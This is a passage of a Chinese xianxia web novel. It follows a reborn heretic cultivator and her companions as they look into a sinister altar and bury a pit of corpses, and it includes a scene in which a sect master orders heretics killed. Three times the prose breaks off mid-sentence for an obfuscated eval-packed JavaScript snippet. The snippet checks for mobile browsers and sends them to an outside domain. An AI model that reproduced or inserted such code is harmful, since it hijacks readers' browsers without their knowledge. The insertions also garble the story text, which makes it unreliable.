姬闻雪看了那镯子一眼,点点头道:“嗯,很合适。” “不是这个意思。”俞思州道,“我是说,你把鎏金骨给我了,我也不好再收这个啊。” “这样么?但这是莲生境池水化成的,估计是……世尊设下的什么小把戏吧。”姬闻雪笑道,眸光微微颤动,“我不知道怎么拿下来,或许,我帮你问问世尊?” “啊?”俞思州看向手腕,那镯子确实清澈如水,但是她真没想到进一次莲生境还能让她带出一只镯子来。 “问世尊就算了。”她还是放弃挣扎,道,“一点小事,还是不要打扰他闭关。” “放心,不是不好的东西。”姬闻雪道,“就当是戴着玩。” “依你的吧。”俞思州把镯子藏回袖中,道。 姬闻雪笑而不语。 一边,远远地传来了张小霜的声音,但声音跑向的方向好像反了:“高——人——,俞——道——长——” 他好像迷路了。 俞思州一愣:“他……” “不用管,等他自己过来。”姬闻雪道,不甚在意的样子。 “话说,你和这位小张道友是怎么遇到的,明明刚出莲生境不久?”俞思州问道。 而且她其实也有点好奇,头发颜色是怎么换过来的,毕竟之前莲生境里见到的那个黑发的姬闻雪,比眼前这个要凶太多了。 “在千金海市遇到的。”姬闻雪道,火光照着他的眼睛,显示出一种分外瑰丽的色彩。 千金海市是修士进行买卖交易的地方,有仙门百家专门驻扎管理。 “我恰巧知道一些黑太岁的事,他就一路跟着我了。”他慢条斯理道。 “这个黑太岁,究竟是何方神圣?”俞思州回忆自己死之前,好像从没听过这么个名号,还有那个祭坛也是。 “这个人死在十七年前。”姬闻雪道,用手托腮,咬了一口鸡肉,语调淡淡的,“曾经在百鬼坊很有名。” 百鬼坊?听到熟悉的名字,俞思州眨了眨眼。 难不成这个黑太岁和她一样是邪修么? 10. 无名之人 百鬼坊乃千金海市当中的“鬼市”,十分神秘,专门用来做一些明面上见不得人的事情,其中鱼龙混杂,各家仙门私底下都在百鬼坊当中有牵扯,但偏生没人敢动这里。 似乎是因为……百鬼坊坊主是个手眼通天的大人物。 而俞思州当年出藏冥山之后,在百鬼坊藏身混迹过一段时间,但那会儿,她好像从没听说过有黑太岁这么一个人。 “这个人是突然出现在百鬼坊的。”姬闻雪的视线投向一边的河水,语气之中带着几丝说不出来的低沉,“那个时候,仙门百家正在追杀一个人,他们下了无数道悬赏,赏金数额极高,这些悬赏在百鬼坊悬赏令榜首挂了许久,但还没等到旧的悬赏令被揭下,紧接着上榜的,就是这位黑太岁。” 俞思州不知道有这么一茬,轻轻咳了一声,道:“那还真是……精彩。” 姬闻雪嘴里这个被全仙门下了悬赏的倒霉孩子正是俞思州。 但是当时她榜上有名的时候,没看到有黑太岁这么个人的悬赏令在上面,所以此人的悬赏挂上去,应该是她离开百鬼坊之后的事了。 不然这么高的赏钱,她其实也不是不愿去试一试。 姬闻雪也笑道:“确实精彩,这两位的赏金加起来也是个天价。” 单我自己那份就已经够让人惊掉下巴了……俞思州不着边际地想。 她那会每天路过百鬼坊的追缉榜,在榜上看见挂着自己大名的悬赏时,还非常仔细地数了数到底是多少位数的灵石。 数清楚之后,她当时就觉得,这个钱要么让她本人来赚,要么大家都不要赚了。 实在太多了,除了她自己,谁拿她都心痛。 “这人是什么来头?为什么能有这么高赏金?”俞思州对此抱着二十分好奇。 她当年悬赏令上给出来的原因,还是勾结魔域妖鬼,戕害仙门同门,满打满算,她是仙门的叛徒,又是闻漱徒弟,价钱高可以理解。 姬闻雪摇摇头,道:“众人不知此人名姓和身份,之所以会有这么高的悬赏金,是因为这个人很有才华,非常善于做东西。” 俞思州:“啊?” “很多用阴灵气催动的阵法术法和机关都是这个人做的。”姬闻雪道,“集结成册的书籍也被仙门百家查封,强制列成禁书了,不过鬼市现在有些地方还卖,只能私下流通。” “原来是个手艺人,这么厉害。”俞思州一听,眨眨眼,产生了一种高山流水遇知音的惺惺相惜之感——她自己也很喜欢研究这个。 毕竟,她的正道修为天生不足,就需要修习别的方面来补全短板。 而她一直觉得,灵气这个东西虽分阴阳,但并不分善恶,阴灵气只要使用得当,并不会像其他人所说的会摧毁人的神志,让人堕落。 使用阳灵气修行,各门各派都有完备的独门心法和引气方式,这样都尚有可能走火入魔,更别说从未有人涉足的阴灵气了。 盲目引阴灵气入体,没有正确的心法引领,当然容易发生意外。 可惜她当时在百鬼坊呆的时间不是很长,不然她高低要去找这位黑太岁探讨一下的。 收起略有些遗憾的心思,俞思州又问:“那这个黑太岁的赏金,最后是被人领到了?” “那倒没有。”姬闻雪答。 “哦,那此人是被仙门的人先抓到了?” “也没有。” “都没有的话,怎么能知道人已经死了?”俞思州用木棍戳了戳篝火,望向姬闻雪。 “这就和那个祭坛有关。”姬闻雪道,“这个祭坛据说是由黑太岁亲手所炼,能容纳上万魂魄,聚集的阴灵气之浓郁,甚至能在祭坛中凝出湖泊。” 他伸出手,掌中瞬间凝出一小片黑色的夜空,期间点缀的星子组出了各色星图。 他的声音也慢慢飘进俞思州耳中:“每一张星图都是由人魂点亮的,但这样大的法坛,原本只有它的主人才能催动,早很多年,祭坛里的魂魄就被仙门清扫殆尽,此后再无黑太岁的音讯,因此别人都猜,黑太岁已经死了。” 接下去,他看着手中浮动的星图,声调变得柔和了些许:“听说祭坛里,湖泊倒映魂魄化作的万千星辰,是一方盛景。” 俞思州的思绪顺着他也一打岔,也说:“那确实很漂亮。” “俞道友想去看看么?”姬闻雪嘴角翘了翘,问道。 他眼角眉梢都带笑的模样,清朗干净,犹如枝头覆雪的梅花。 俞思州挪开眼睛,还没来得及说什么,便听见远处吱吱哇哇的叫声。 张小霜终于找到了正确的路,一路向这边跑来。 “高人——道长——”少年像一只窜天猴一样,呼喊的声音带着非常浓烈的高兴。 俞思州听见张小霜一口一个“高人”,便扭头问姬闻雪:“他叫你高人?” “他找我问黑太岁的事,我和他说,我要去找个人,但他跟着我到了这里来之后,就这么叫了。”姬闻雪笑了一下。 “所以,你带他进了莲生境?”俞思州问。 姬闻雪摇头:“没有,我只是用了一点缩地的小把戏。” 啊,姬闻雪的小把戏。 “那照这么说来,你们玉虚太微宫叫什么是真本事?”俞思州的语气带着九分真诚一分调侃,问道。 “可能是我学艺不精。”姬闻雪撑着下巴,叹道,“我也不知道什么是真本事,只会一些唬人的小把戏。” 俞思州只当他在调笑,毕竟在莲生境之内,她已经见到他那一手出神入化的剑法了,不过,也许在能劈山破海的世尊眼里,这点的确是花拳绣腿。 想到这里,她长叹一声,修仙不易啊。 等张小霜过来的时候,俞思州继续问道:“莲生境出口是不是还连着不同的地方?” “嗯,它联通外界,四海之内,皆可畅游。”姬闻雪道。 “哎?那还挺方便的,早知道的话,我就托你把我放到有城隍庙的地方去了。”俞思州道。 “现在其实也可以去。”姬闻雪侧了侧身,道,“你去城隍是有什么想求的吗?” “不是,我就是觉得最近运气不太好,想去拜一拜。”俞思州十分诚恳地答。 “运气不好?”姬闻雪突然笑了,“那你同我一起,我觉得我最近运气还不错。” “那我就蹭一蹭你的运道了。”俞思州回他,“到时候把你也一起带倒霉,可莫要怪我。” “怎么会。”姬闻雪失笑,摇了摇头。 俞思州舒展了一下筋骨,心说她是真觉得最近太点背了。 死人复活这前无古人后无来者的事让她莫名其妙碰上了,沈砚清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563637|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她的那个神情,让俞思州仿佛回到了当年审判台面对闻漱的时候。 这么久过去,沈砚清看到她,脸色都跟闻漱越发相似,仿佛她借了他钱没还一样。 不过,沈砚清肯定会让人注意最近有没有邪修的行踪,见到估计又是一个“杀无赦”。 哎,追着她杀了这么多年,现在还是不能消停。 其实除了许愿去霉运之外,俞思州原本还想去城隍庙借一下那边的法坛用来招魂,但是眼前,她思考了一下,觉得还是得去找一趟这个所谓“黑太岁”做的祭坛。 没有别的原因,这个祭坛听起来实在像她从前做的一个东西,到那了凑合凑合也能当成法坛用,不过很奇怪的是,她死了得有个十七年了,这东西应该早被封的死死的,没道理还能用。 总不可能是黑太岁做的仿品,这人的品味怎么能和她这么高度一致?她当时做这个东西,是特意用来哄人高兴的…… 与此同时,张小霜抱着满怀的果子,在不远处示意俞思州他要先洗一洗,小双不知道什么时候也跟在他后面,不过隔了数十步的距离。 姬闻雪随意扫了一眼张小霜身后跟着的猫,神色没有什么变化,俞思州往他面上看去,他察觉到她的视线,回看她。 火光照耀下,少年的脸颊鲜妍生动,眉目含笑:“怎么了?” “那是只猫灵。”俞思州指了指小双,直截了当道。 “嗯,我知道。”姬闻雪也起身,“好像长的有点胖?” “是咬了你送的那根鎏金骨弄成这样的。”俞思州无奈道。 “不太听话。”姬闻雪点评道。 “我还没见过很听话的猫灵呢。”俞思州笑道,语气却是正经的,“它差一点就吃了人魂。” “那你救了它一命。”姬闻雪道。 “说救也算不上。”俞思州揣起袖子,“只不过它似乎知道那个祭坛在什么地方。” “原来如此。”姬闻雪点点头道,“它也是典魂斋放出来聚魂的伥鬼之一。” 俞思州猛然看向姬闻雪,他脸上的笑容依旧,只是目光略过小双的时候,眸中略有冷意。 他知道的比俞思州想象的要多很多。 “如果路上遇到邪修,你打算怎么办?”俞思州问。 姬闻雪轻笑了一声。 她离他很近,日光流转,能闻见淡淡梅香浮动。姬闻雪低垂眼睫望着俞思州,笑道:“若是遇上了,我负责打架,其他的全部交给你定夺吧。” “直接打死或者扭送仙门不好吗?”俞思州认真看着他,问道。 “只要你想。”姬闻雪收起笑容,同样认真地回看她。 “那我要是放了他们呢?” “那就放。” 俞思州见他神色,全然不像是在说谎话。 “你好像不讨厌邪修?”她有些新奇,问道。 “谈何讨厌?”姬闻雪笑道,“所思所想所作所为,皆由本心,我又不代表正道,不想做正道表率。” “那你在外面说这话的时候,可不能顶着玉虚太微宫的名头。”俞思州失笑,“让人听见了,还以为世尊师祖教出来一个什么混世魔王呢。” “哈哈,就算我对着天下人说,他也不在乎。”姬闻雪笑道,“玉虚太微宫教导的,正是不违本心,无愧天地。” 11. 死人坑 “不违本心、无愧天地。”俞思州跟着复述了一遍,随即轻声道,“要做到如此,也是很难的事啊。” 姬闻雪似乎听到了她的自言自语,但也只是侧头将视线静静地停在了她身上,并没有说话。 就在这个时候,张小霜冒了出来。 “道长!来吃这个,这个特别甜!”他笑容洋溢地将手里红彤彤的果子递给俞思州一个。 “唔,是焰丹果?多谢。”俞思州接过果子,又往张小霜怀里多看了一眼,这不看不要紧,一看,她随即就僵住了。 “张道友。”俞思州喊他。 “不用这么客气,叫我小霜就行!”张小霜眨了眨眼睛,往嘴巴里又扔了一个果子。 看这个架势,应该是吃了不少了。 “你吃了多少这个红色的果子?”俞思州表情复杂,看向一脸陶醉,吃的嘎嘣脆的张小霜。 “啊?我在果子丛里边摘边吃,不知道吃了多少啊。”他抓了抓头,回答道,语气里带着种莫名其妙的高兴,“我都吃过这么久了,应该没有事的,道长尝尝看?” “不是,焰丹果吃多了会……”俞思州伸手想让他不要再吃了,但她的话音还没落下,张小霜非常突然地,张大了嘴。 “会大笑不止。”姬闻雪替俞思州说完了接下来的话。 眼前的蓝衫少年双手叉腰,手上的果子滚了一地,露出十八颗雪白闪亮的牙齿,在空旷的林地间哈哈哈笑个不停。 “哈哈哈哈、原来会这样吗、哈哈哈哈哈哈、我之前在山里从来没吃过这个,哈哈哈哈哈……”张小霜笑的眼泪都掉下来了,“高人、俞道长,救救我哈哈哈……” 见此情景,俞思州一时无奈,对姬闻雪道:“麻烦你渡点灵气给他了,但我记得宗门应该会给出山的未辟谷弟子教授野外哪些东西能吃吧?” 姬闻雪笑道:“焰丹果倒也不是不能吃,只是不能贪多。” 他向前伸出一只手,从他的指尖飞出白色灵气,萦绕到了张小霜身边。 就这么过了一会儿,张小霜的笑声顿止,他打了一个大大的饱嗝,像面条似的瘫软在地,弱弱地对俞思州说:“对不起,我当时有点饿了……” 俞思州看见不远处小双往后退了退,似乎有些微妙的嫌弃。 “饿的话,我那里还有鸡汤和烤鸡。”俞思州指了指依旧在火上温着的汤锅,随即便看见原本已经笑到脱力的张小霜一下子坐起身来,挪到了锅边。 俞思州甚至看见了他脸上感动的泪水。 “感觉是个相当直率的人。”她看着已经开始狼吞虎咽的张小霜,道。 “嗯,直率有时候也是一种优点。”姬闻雪道。 “那就让他先吃饱吧。”俞思州道。 她一边蹲下身,对着不远处观察张小霜吃饭的小双勾了勾手,示意它过来。 猫灵迈着小碎步一点点挪过来,俞思州仔细端详了一下手里的红彤彤圆滚滚的焰丹果,又抬头问姬闻雪:“这边长了这么多焰丹果,是在婆罗州附近了吧?” 然后,她自己也“咔嚓”咬了一口,果实确实很好吃,清脆沁甜。 “嗯,确实是在婆罗州附近。”姬闻雪点头,“果子怎么样?” “很甜。”俞思州道,“这个确实容易不小心吃多。” 姬闻雪闻言,笑了笑,他也蹲下身来,看着小双慢悠悠地晃着尾巴凑到俞思州怀里。 “它很喜欢你。”他道。 “我向来招它们喜欢。”俞思州挠了挠猫下巴,“也不知道为什么。” “小双,你说你知道怎么去那个祭坛,那我们要怎么走?”她问。 “……”小双非常乖地坐在原地,半天没有出声,良久,挤出一句,“喵。” 俞思州:“?” “那我也去尝尝焰丹果了。”姬闻雪见状,也只是轻轻笑了一声,便站起身,往林子里走。 “你这么怕他?”他一走,俞思州才感觉小双绷的笔直的脊背放松了。 “不怕他的才有问题。”小双咕哝道,“喂,他肯定知道我是干嘛的了吧?” “对啊。”俞思州点点头。 “……”小双沉默了一阵,“你说他们正道修士都有你心肠好吗?” “我心肠好?”俞思州有些好笑。 “那个蓝色的有点傻,这个红色的是什么来头?”小双问。 “他说他是世尊师祖的弟子。”俞思州顺了顺小双的毛。 “哪个世尊师祖?” “玉虚太微宫那个。” 随即,俞思州便看见小双的猫脸皱了起来:“他们不是说玉虚太微宫几十上百年才收一次弟子吗?” “姬闻雪应该是亲传弟子,普通收进去的只是去学习不是去拜师,还是不一样的。”俞思州道,“其他的我也不太清楚。” “那你得保证他不会一时兴起把我杀了。”小双说。 “好好好,我保证。”俞思州伸出两根手指作发誓状。 “错了。”小双拍了拍她的两根手指。 “抱歉抱歉。”俞思州多伸了一根。 “你真讨厌。”小双气哼哼地道,“算了,要去那个祭坛,得先找到婆罗州的一个村子,里面设了一座影子庙,可以从看守那里拿到引信。” “婆罗州?这边就是婆罗州地界了,只是你说的村子是哪个?”俞思州问。 “我不知道啊,我这么多年又没回去过。”小双理直气壮道,“但我记得,那村子旁边有很多很多阴灵,说是村子,其实除了看守也没几个活人。” “也就是阴灵气旺的地方,对吧?”俞思州站起身来,笑道。 “嗯,可以这么说。”小双严肃点头,眼中神色带着些许微妙,“但是也不好找。” 只要在这个地方,再不好找那也是能找到的,这是俞思州十分擅长的事情。 但还没等她再仔细寻思一下,她侧边响起了一句幽幽的话:“哇,道长这就是你的猫吗?” 说着,张小霜就从边上像朵蘑菇一样冒了出来,“我可以摸摸吗?” 俞思州眨了眨眼,她感觉张小霜好像没看出来这是只猫灵:“额,你摸摸试试?” “那我摸了哦!”张小霜飞快地伸了手,但很显然,小双不是特别喜欢他。 他的手被小猫一扭身子灵活躲过,它还附带给了他一爪子,不过还是有顾忌,收了收力,没有抓出血。 “它好像不太情愿,哈哈,我师兄的猫也不喜欢我。”张小霜笑了,他没再伸手过去,只是蹲在地上仔细看了看舔毛的小双,又重新站了起来。 他一站起来就好像旱地拔葱,一下子比俞思州高了一截。 俞思州看姬闻雪还没回来,索性就和他聊起天来。 “你师兄也养猫?” “嗯,花色好像和道长这只差不多,不过具体是什么花我也记得不是很清楚了。”张小霜挠了挠头,笑。 “不用叫道长,直呼名字就好,我叫俞枕澜。”俞思州笑眯眯道,“其实它也不是我的猫,我和它只是搭个伴。” “好巧,我师兄原来也是这么和我说的。”张小霜笑道,“他说他只是喂它吃过几顿饭而已,顶多算是朋友,不能算是猫的主人。” “哦?听起来,你师兄倒是个挺有意思的人。”俞思州笑,旋即又问张小霜,“那你就一个人出山历练,他不会担心你?” “我就是出来找他的。”张小霜用手指头在脸上轻轻划了划,脸上的神色肉眼可见地失落了下去,“我不知道他去了什么地方……有人告诉我,这个古祭坛可能会有一点线索,所以我要去古祭坛,也是这个原因。” “啊?你师兄在古祭坛里吗?”俞思州问。 “我不知道啊。”张小霜挠了挠头,笑着说,“我做梦梦到他和很多很多魂魄在一起,所以我就出来找他了。” “……”俞思州沉默了一瞬。 张小霜确实有一些不同于常人的地方,她隐隐觉得,能支撑他就这么出来的理由,应该不止是一个梦。 但看他这个样子,这当中肯定是有一些伤心事。 俞思州并不打算多问,正想开口说些别的时候,抬头便看见姬闻雪轻轻巧巧地站在不远处的树梢上,红衣衣角随风而动,颇有几分洒脱意气。 他看过来,向俞思州挥了挥手:“先过来这边看看吧,有路。” “好。”俞思州点头。 “来了!”张小霜振作的速度特别快,他起身的时候,似乎瞬间就将刚刚和俞思州说的话抛在了脑后,欢欢喜喜像条大狗一样朝姬闻雪喊的方向去了。 俞思州一手抄着猫,跟在张小霜身后,觉得有些时候,直率确实也是一种优点。 姬闻雪从树梢上翻身下来,一同进了林子。 焰丹果是婆罗州的特产,喜欢长在阴灵气旺盛的地方,俞思州后知后觉,发现这边靠河的林子里长着大片大片的焰丹果藤,他们走的这条路藤蔓长的更壮,有手臂粗。 明明是白日,林中却有雾气,浓雾在铁青的果藤间游荡,依稀可以看见藤下被绞得扭曲的不知名树木。 果藤的枝丫将天穹切割成了碎片,细细碎碎的日光透过雾气照射在林地的青苔上,阳光照不到的地方,倒伏下去的朽木上结着冰壳,腐败的落叶下,渗出了透入骨髓一般的寒气。 “有点冷。”张小霜呼出了一口白气,“这边的果子长得好大。” “这边阴灵气聚集的多,它自然长的大。”俞思州看了看树冠上一颗红得像火一般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563638|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果子,它看起来已经有她手掌大了。 阴灵气是从脚底下来的,看样子这树下面有什么东西。 俞思州左看右看,从地上挑了一根直溜一些的木棍,将底下的落叶慢慢拨开来。 地面上的叶子还是干干脆脆的,但随着俞思州手上的棍子越拨越深,底下没有腐烂的树叶撞在一起,发出了冰块碰撞的簌簌声。 “叶子都冻上了。”她道,“把地挖开看看?” “我来。”张小霜眼睛一亮,刷地掏出了他的灵剑。 在俞思州以为他是要用剑刨地的时候,她听到他开始轻声念诀,然后,俞思州看着他把灵剑往地上一杵,蓝光瞬起,暴烈的阳灵气瞬间沿着他的剑直直打进了地里。 “等等!”俞思州喊。 但就这么一会的功夫,她踩着的地面,一下子从冻脚飞速变成了烫脚,阴阳灵气对冲,大片蒸汽一下子升腾上来,须臾,只听得“轰隆——”一声。 地塌了。 “小心。” 姬闻雪伸手拉住俞思州的手腕,另一手拢住她的肩膀,直接带着她往后撤了数十步。 俞思州后脑勺撞到他的胸膛,他身上那种淡淡的梅花香气越发清晰地传进她鼻尖,这个时候,她才相当迟钝地反应过来,姬闻雪虽然看上去是个少年模样,但身高确是一点都不含糊,比她高了大半个脑袋。 等眼前的蒸汽散去的时候,阳光大片大片地洒了进来,驱散了在四周徘徊的雾气。 “俞枕澜道长——来拉我一把——”张小霜半张脸都被淹在土里,伸出一只手吱哇叫。 “等等,我就来——”俞思州应道,但姬闻雪从她身后按了按她的肩膀,轻声道:“我去。” 他的发丝轻轻拂过她的脸,有点痒痒的,俞思州不自觉地伸出手挠了挠。 然后,她看着姬闻雪像一只灵巧的猫,非常矫健地翻进了眼前的大坑。 “虽然这种场景也不是没看过……” 她的目光延伸到地上那个地坑的深处,伸手,用力地揉了揉自己的额角。 蒸腾的浊气在林间升起,又缓缓消散。 坑里有许多焰丹果树盘根错节的根系,在那些被翻开的泥土中,折断的粗壮树根流出淡色的汁液,闻起来有些香甜,但比这些树根更加扭曲的,是底下一层层的白骨。 死人。 到处都是死人,这里有满坑的死人,埋在最底层的骨头已经结了霜,霜花显出一种淡淡的蓝紫色。 而张小霜塌下去的地方,就是整个死人坑的正中心。 “啊,好多人。”张小霜被姬闻雪拉出来,四面环顾,看到那么多尸体之后,面色不改,只是小小地感叹了一下,“怪不得果子长得这么好。” “你不怕?那你以后还想吃吗?”俞思州夹着猫也翻进坑里,对着张小霜道。 “不怕,但也不想吃了。”张小霜摇摇头,把自己的灵剑绑回了腰间。 “小双,看看他们的魂魄还在不在。”俞思州轻声问怀里的猫。 “死了这么久了,肯定都没了,你招魂都招不回来。”小双扒到她肩头,也轻声回。 “俞道长,高人,婆罗州这边没有宗门吗?为什么会死这么多人?”张小霜问。 “……”要问的话,俞思州其实也不知道。 于是,两个人的目光都投向了姬闻雪。 他正低着头查看地上一具被衣裳包裹住的尸体,闻声转过头来,淡淡笑了笑:“婆罗州这边没有宗门,现在算作世家的猎场,但我想,应该是用来……豢养一些比较稀有的阴灵邪祟。” 俞思州看了看腰间,典魂斋那块牌在遇到小双之后就收起来了,倒是鎏金骨还挂着,十分显眼。 打阴灵会掉落一些非常稀有的炼器材料,也不难理解为什么要专门围一片猎场出来。 “来看看这个。”姬闻雪轻轻展开了手中一卷竹简,这是他在刚刚查看的那具尸体旁边找到的。 俞思州围过去,看到上面刻着一些文字,用的是婆罗州百姓的俗语。 “这是什么字?”张小霜好奇地蹲过来,皱眉看了半天,一个字都没有看懂。 “婆罗州的俗语,就是他们这里的方言。”俞思州道,“但我只认识几个字。” 她指了指其中几个字,念出它们的意思:“铭记。”“恩惠。”“保护。” 还有…… “宗庙。”她道。 “听起来像是要感谢什么人。”张小霜道。 俞思州抬眼望向姬闻雪,他淡淡地看着那卷竹简,不知道在想什么。 “你……看的懂上面写的什么吗?”她问。 “能看懂一点。”姬闻雪道,“他们为了纪念一个人,给她立了一座庙。” 12. 影子庙 “婆罗州那座庙,是那里的遗民为了纪念一个无名英雄立的。” 雪白的梨花树下,一黑一白两个身影执棋对弈,其中一人一袭华贵黑衣,眉目带笑,对棋盘另一边面无表情的白衣仙尊道,“凌霜君应该记得吧?昔年婆罗州被魔渊阴灵侵袭,等仙门的人慢悠悠赶去时,阴灵早已退去,而那边的平民百姓却无一伤亡。” 啪。 玉质的白色棋子随着黑衣客的动作轻轻落入棋盘,他的声音,也慢悠悠的随风散入听者耳中:“仙门百家对外说,阴灵已经被派去的弟子驱退,但其实,一直都无人知晓,当初到底是谁帮那些手无寸铁的百姓抵抗了那么多阴灵。” 黑衣客笑呵呵地拂开落到棋盘上的梨花瓣,看向闻漱。 “我在婆罗州找到了黑太岁的祭坛。”闻漱落子,抬头淡淡地看向对方,“那些阴灵被聚拢在了祭坛里,最终由我灭杀,祭坛也被封印。” “哈哈,你想说是这位黑太岁做的局?”黑衣客落子,“此人好坏暂且不论,你们那时终究还是慢了一步,后来又下通缉令,这么多年不还是没找到人。” 闻漱摇摇头,但并未出声,四下一时静默。 “不过,我也不是特意从玉虚太微宫跑出来骂你的。”黑衣客笑道,“我是来和你说……那个祭坛里最近发生了一点怪事,你得叫人去看看。” “我自会安排。”闻漱落子,眸光微暗,“不过,你为何会知道?” “你注意到了就行,其他的我也不好和你说。”黑衣客挥了挥手,将指尖的棋子扔回棋盒,“这局你赢了,在玉虚太微宫上学的时候我下棋就下不过你,不玩了不玩了。” 闻漱一言不发,将手中的棋子放回棋盒去之后,开始收拾起棋盘。 此时,从梨花树边,一道站了许久的纤长人影端着茶盏走上前来。 “玉阙君,师父。”来人的声调平直,毫无起伏,“茶。” 此人穿着藏冥山内门弟子的白色制服,腰间佩剑,黑发高高束起,露出凌厉的五官,但他的声线却古井无波,仿佛没有感情。 闻漱轻轻“嗯”了一声,抬手撤掉棋盘。 玉阙倒是扫了来人一眼,然后直接伸手取过茶壶茶杯,自己给自己倒了茶水,一边倒一边说:“闻漱,你这二徒弟怎么还是个木头呆子样。” “……”被说是木头呆子的青年没什么反应,连眼睛都没眨,只是垂眸站在一边,等玉阙倒完茶。 “见真个性如此。”闻漱缓缓道。 “是么?我怎么感觉他从前好像要活泼些?”玉阙将茶杯递到唇边,但茶水只微微润了润他的嘴唇,他就皱起了眉,“这茶不如以前的好。” 此言一出,抱着茶盘站在一边抬头望天的江见真闻言,突然侧头直勾勾地看向玉阙。 玉阙一挑眉,示意他有话直说。 “你上次来恨生殿喝茶是十七年前。”江见真说,“这壶茶是叶师妹特意泡的,哪里不好?” “是吗?那我确实隔了很久没来了。”玉阙笑道,也不答后半句,只是顺手将茶杯推到一边,不再动口。 “所以为什么不好喝?”江见真却继续问道。 “水不对。”玉阙道。 他知道江见真是个会较真的人,看那副认真的样子,是真觉得手上这壶茶泡的好。 可惜了,真没品味。 玉阙觉得,这茶的的确确不如十七年前来喝的那次,他指了指藏冥山顶那一片灿烂的花树:“若要泡好茶,得去取花上的露水。” “那边是山精的地盘,没人进得去。”江见真顺着他指的方向看去,随即便皱眉道。 闻漱吹了吹茶盏氤氲的热气,看了玉阙一眼。 玉阙这才想起藏冥山那群山精那凶暴的悍匪模样,偏生它们护着山门的大灵脉,打不得也骂不得,想碰它们的花,那更是见谁咬谁,摸一摸都难。 但是……他当年在藏冥山喝的那壶好茶,水确确实实也是从那来的。 这些人真没意思。 玉阙顿觉了无生趣,连带着眼前的闻漱看起来都有几分惹人厌,他站起身来,只道:“凌霜君,提醒你的事可别忘了。” 见闻漱颔首,玉阙便拂开衣袖,一阵清风掠过,这黑衣客如飞扬在恨生殿外的梨花瓣一般消散而去,几案边,几乎一口未动的茶水颤动,散出微微涟漪。 “他走了。”江见真当即开始收拾玉阙君用过的茶具,“叶师妹泡这壶茶很用心,被她听见玉阙君的话,她会不开心。” 他又道:“师父喝过玉阙君说的、那样好的茶么?” 江见真看见师父长长的睫羽扑闪了两下,随即听见一句冷冷的“嗯。” 那就是喝过了。 “哦。”江见真淡淡地点头,“但我觉得,还是叶师妹泡的好。” 闻漱显然不太想和他说这些,而是问:“你师兄还没回来?” “嗯,他在追查一个邪修,眼下似乎是要去婆罗州。”江见真道。 “你也去婆罗州寻他,告诉他还有别的事要盯着。”闻漱道。 “我也去?是去杀邪修和妖鬼吗?”江见真收拾茶具的动作一顿,问道。 “是。”闻漱点头。 “若见邪修,生死不论?”江见真木偶一般的表情中沾上了一丝隐晦的兴奋。 “生死不论。”闻漱一贯冷淡的语调难得带上了几分重音。 “弟子领命。”江见真勾唇一笑,抱臂行礼。 等到江见真离去的脚步声消失后,庭中只剩下闻漱一个人,他将棋盘重新摆了回去,黑子白子组成残局,但他执棋的手停在半空,却怎么也下不去。 在他棋盘的对面,突然生出一个姑娘的虚影,她穿着内门弟子的制服,衣角沾湿,和没骨头似的趴在棋盘上,抬起眼瞳偷偷从手臂交错的缝隙中看他。 “师尊师尊,我喜欢你。”她小小声地、一字一顿地说,“听见了吗?喜欢你——” 梨花似雪一般,拂过她不甚清晰的眉眼,又带着她消散而去,那留下的声音,一字一句,却如同一只只铁锤,一下下砸进他的脑海。 闻漱感到一阵恶心,他猛然用力,捏碎了手里的棋子。 良久,他闭了闭眼,叹道: “烦人。” * 婆罗州,死人坑外。 “我好渴啊!”张小霜拄着锄头,一边扶着腰,一边用手猛猛地擦脸上的汗,“刨地原来这么累,等等、为什么高人你看起来什么感觉都没有?” 将袖子束起方便挖洞的姬闻雪头也不回:“因为我锻炼得还行?” “你还能一边挖洞一边讲那个救了婆罗州的无名英雄的故事还不大喘气!”张小霜翻出了死鱼眼,又碎碎念道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563639|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也想当英雄,等我回山一定好好锻炼,呼——” 他长出一口气,然后将坑里那一副白骨唰唰唰埋好。 俞思州仔细地将眼前骨架的最后一块拼上,起身向姬闻雪挥了挥手:“这是最后一具了。” “嗯,辛苦。”姬闻雪笑道,便扛着锄头走过来开始填坑。 俞思州看着他熟练地将结块的土壤用锄头砸碎,然后填平坟头,原地慢慢地鼓起一个小土包。 俞思州环顾一圈,这个坑里理出来的骨头都被他们好好埋葬了。 他们把这坑里的人骨都收捡起来,能找到同一副胳膊腿和脑袋的单独刨一个坟头埋,剩下实在凑不到一起的零件就只能委屈一下,埋在一起挤一挤了。 这是她提出来要做的,但姬闻雪没有丝毫异议,几乎是她刚说出口的时候,他就已经准备去看哪根木头适合削来做锄头柄了,似乎早猜到俞思州会有这么个提议。 